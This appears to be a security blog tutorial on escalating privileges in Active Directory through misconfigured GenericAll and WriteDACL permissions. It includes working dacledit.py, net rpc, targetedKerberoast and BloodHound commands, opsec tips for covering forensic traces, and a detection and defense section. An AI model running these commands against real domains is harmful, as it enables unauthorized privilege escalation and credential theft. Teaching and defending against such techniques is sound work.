DACL Abuse in Active Directory: GenericAll and WriteDACL

DACL Abuse in Active Directory: GenericAll and WriteDACL - article cover image Active Directory
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every object in Active Directory — users, groups, computers, GPOs, the domain head itself — carries a security descriptor whose discretionary access control list (DACL) decides *who* may do *what* to it. DACL abuse is the tradecraft of finding an access control entry (ACE) that grants a principal you control more power over an object than the business ever intended, and then converting that misconfigured right into credential access or privilege escalation. Unlike a memory-corruption bug, nothing is ‘broken’ here: the directory is behaving exactly as its ACLs instruct. That is precisely what makes DACL abuse so durable — it is a design surface, not a patch-and-forget CVE.

Two rights dominate this class of attack. GenericAll is full control over the target object — it subsumes every other right, so a holder can reset a password, write any attribute, or add a member. WriteDACL is narrower but strictly more dangerous in the long run: it lets you rewrite the object’s DACL itself, so an attacker simply grants *themselves* GenericAll and proceeds. Because these rights are frequently delegated to help-desk groups, stale admins, or ‘temporary’ service accounts and then never revoked, BloodHound routinely surfaces multi-hop paths from an ordinary user to Domain Admins built entirely out of GenericAll and WriteDACL edges.

Attack Prerequisites

DACL abuse requires an existing foothold as some domain principal and a misconfigured ACE reachable from it. Concretely:

  • Valid domain credentials — any authenticated account (user, computer, or service) whose SID, or a group it belongs to, appears in a target’s DACL.
  • An abusable ACE over a privileged object — GenericAll, WriteDACL, WriteOwner, GenericWrite, or a targeted right such as WriteProperty on member, servicePrincipalName, or msDS-KeyCredentialLink.
  • Network reachability to a domain controller over LDAP/LDAPS (389/636) and Kerberos/SMB (88/445) to read the descriptor and push the modification.
  • A reason the right escalates — the target is a privileged group, a high-value user, a computer object you can take over, or an OU/GPO whose control cascades. Control of a leaf object with no onward value is not useful.

How It Works

When a security principal requests an operation, the DC evaluates the object’s DACL as an ordered list of ACEs. Each ACCESS_ALLOWED_ACE (or object-specific ACCESS_ALLOWED_OBJECT_ACE) pairs a trustee SID with an access mask. GenericAll corresponds to the generic bit 0x10000000, which the security engine maps onto the object’s full specific-rights set; WriteDACL is the WRITE_DAC bit 0x00040000. Object ACEs additionally carry an ObjectType GUID that scopes the right to a single property set or extended right — this is how a delegation can grant, say, only the ‘Reset Password’ extended right (GUID 00299570-246d-11d0-a768-00aa006e0529) rather than blanket control.

The escalation is compositional. GenericAll over a user lets you set a servicePrincipalName for targeted Kerberoasting, force-reset the password, or write msDS-KeyCredentialLink for a Shadow Credentials / PKINIT takeover. GenericAll over a group lets you add your principal to member and inherit its rights — devastating when the group is Domain Admins or an OU delegation group. GenericAll or GenericWrite over a computer lets you configure resource-based constrained delegation by writing msDS-AllowedToActOnBehalfOfOtherIdentity, or again drop a key credential to impersonate the machine. Each of these is a distinct BloodHound abuse edge off the same underlying right.

WriteDACL and WriteOwner are the ‘meta’ rights. WriteOwner lets you set yourself as the object owner, and an owner implicitly holds WRITE_DAC; WriteDACL lets you append a fresh ACCESS_ALLOWED_ACE granting your SID GenericAll. Either way you bootstrap from ‘can modify permissions’ to ‘have all permissions’, then fall back to the user/group/computer primitives above. This two-step is why WriteDACL edges are treated as equivalent to full control in attack-path analysis.

Vulnerable Configuration: The Abusable ACE

The vulnerability is a single ACE in the target’s ntSecurityDescriptor. Below is how it looks when read back with impacket’s dacledit.py — the low-privileged principal CORP\jdoe has been granted full control over a high-value account:

$ dacledit.py -action read -target-dn 'CN=svc_backup,CN=Users,DC=corp,DC=local' \
    corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10

[*] Parsing DACL
[*] ACE[XX] info
    ACE Type              : ACCESS_ALLOWED_ACE
    Access mask           : FullControl (0x10000000)
    Trustee (SID)         : CORP\jdoe (S-1-5-21-1004336348-...-1131)
TEXT

The FullControl mask (GenericAll) held by an unprivileged user over svc_backup is the entire bug. An equivalent misconfiguration is a WriteDacl ACE — often introduced by a naive PowerView ‘fix’ or a home-grown delegation script such as the following, which grants a help-desk group the ability to rewrite a sensitive account’s DACL:

# VULNERABLE delegation: WriteDacl to a broad group over a privileged user.
# Anyone in Helpdesk can now grant themselves GenericAll on svc_backup.
Add-DomainObjectAcl -TargetIdentity 'svc_backup' `
    -PrincipalIdentity 'Helpdesk' -Rights WriteDacl
PowerShell

The same pattern at the domain root is catastrophic: a WriteDacl ACE on the domain object lets an attacker grant themselves the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights and perform a DCSync of every credential in the domain.

Walkthrough / Exploitation

Start by enumerating inbound control. BloodHound’s collectors (SharpHound or the Python bloodhound-python) resolve DACLs into edges; the ‘Outbound Object Control’ view on your owned principal reveals GenericAll / WriteDacl targets and the shortest path to a Tier-0 asset.

# Collect ACL and session data over LDAP.
bloodhound-python -u jdoe -p 'Passw0rd!' -d corp.local \
    -ns 10.10.10.10 -c DCOnly --zip
Bash

If the target is a user you hold GenericAll over, the cleanest tradecraft is a Shadow Credentials takeover (no password change, so the account keeps working). Otherwise a targeted SPN + Kerberoast, or a straight password reset, gets you the credential:

# Option A - password reset via GenericAll (noisy but universal):
net rpc password 'svc_backup' 'NewPass123!' -U corp.local/jdoe%'Passw0rd!' \
    -S dc01.corp.local

# Option B - targeted Kerberoast (stealthier, no reset):
targetedKerberoast.py -v -d corp.local -u jdoe -p 'Passw0rd!' \
    --request-user svc_backup
Bash

When you only hold WriteDacl, first grant yourself full control, then reuse the primitives above. dacledit.py writes the ACE for you:

# Escalate WriteDacl -> GenericAll by writing a new ACE for our own SID.
dacledit.py -action write -rights FullControl \
    -principal jdoe -target svc_backup \
    corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10
Bash

For a group target, membership is the payload — add yourself, pull a fresh Kerberos TGT so the new group SID lands in the PAC, and the inherited rights are yours:

# GenericAll over a group -> add ourselves as a member.
net rpc group addmem 'Backup Operators' 'jdoe' \
    -U corp.local/jdoe%'Passw0rd!' -S dc01.corp.local
Bash

Note: Prefer non-destructive primitives on live accounts. A password reset breaks the legitimate service and is trivially noticed; Shadow Credentials (writing msDS-KeyCredentialLink) or a targeted Kerberoast leave the existing password intact. If you *must* reset, capture the current NT hash first via a technique that lets you restore it (e.g. set-then-restore) so the service is not left broken.

Opsec: dacledit.py supports -action backup before a write and -action restore afterward — always snapshot the original descriptor so you can revert the ACE and reduce forensic residue. Every DACL modification on a DC generates a directory-service change event; batching, timing, and cleanup matter more here than for read-only recon.

Detection and Defense

DACL modifications are audited on domain controllers when object-access auditing is enabled. Focus detection on writes to the security descriptor of Tier-0 objects and on anomalous grants of powerful rights:

  • Event ID 5136 (a directory service object was modified) targeting the nTSecurityDescriptor attribute — enable ‘Audit Directory Service Changes’ and alert on ACE additions to privileged users, groups, and the domain head.
  • Event ID 4738 / 4728 / 4670 — account changed, member added to a security-enabled group, and permissions on an object changed, respectively.
  • Event ID 4724 (password reset by another principal) on sensitive accounts correlated with an unusual actor.
  • Continuous BloodHound review — run SharpHound/BloodHound-CE on a schedule and treat any new GenericAll/WriteDacl/WriteOwner edge into Tier-0 as an incident; enforce a tiered-admin model and clean up legacy delegations.
  • Least privilege on delegations — replace blanket GenericAll grants with scoped object ACEs (e.g. only the Reset-Password extended right on one OU) and protect Tier-0 accounts with the AdminSDHolder / SDProp mechanism.

Real-World Impact

DACL-based attack paths are the backbone of BloodHound, released at DEF CON 24 (2016), which reframed AD compromise as graph reachability and made GenericAll/WriteDacl edges a staple of nearly every internal engagement and red-team report since. The technique underpins ATT&CK T1222 (permission modification) and the domain-dominance chain that ends in DCSync via delegated replication rights. Because the misconfigurations accrete over years of help-desk delegation and ‘temporary’ fixes, mature enterprises routinely discover single-hop paths from a standard user to Domain Admins sitting unnoticed in production.

Conclusion

GenericAll and WriteDACL are not bugs in Active Directory — they are the directory faithfully honoring an ACE that should never have been written. The attacker’s job is reconnaissance and composition: find the misdelegated right, then chain the correct primitive (password reset, targeted Kerberoast, group add, Shadow Credentials, or RBCD) to convert control into credentials. Defenders win by treating the DACL of every Tier-0 object as a crown-jewel asset: audit changes to nTSecurityDescriptor, scope every delegation to the minimum right on the minimum object, and let a scheduled graph analysis catch the path before an adversary walks it.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL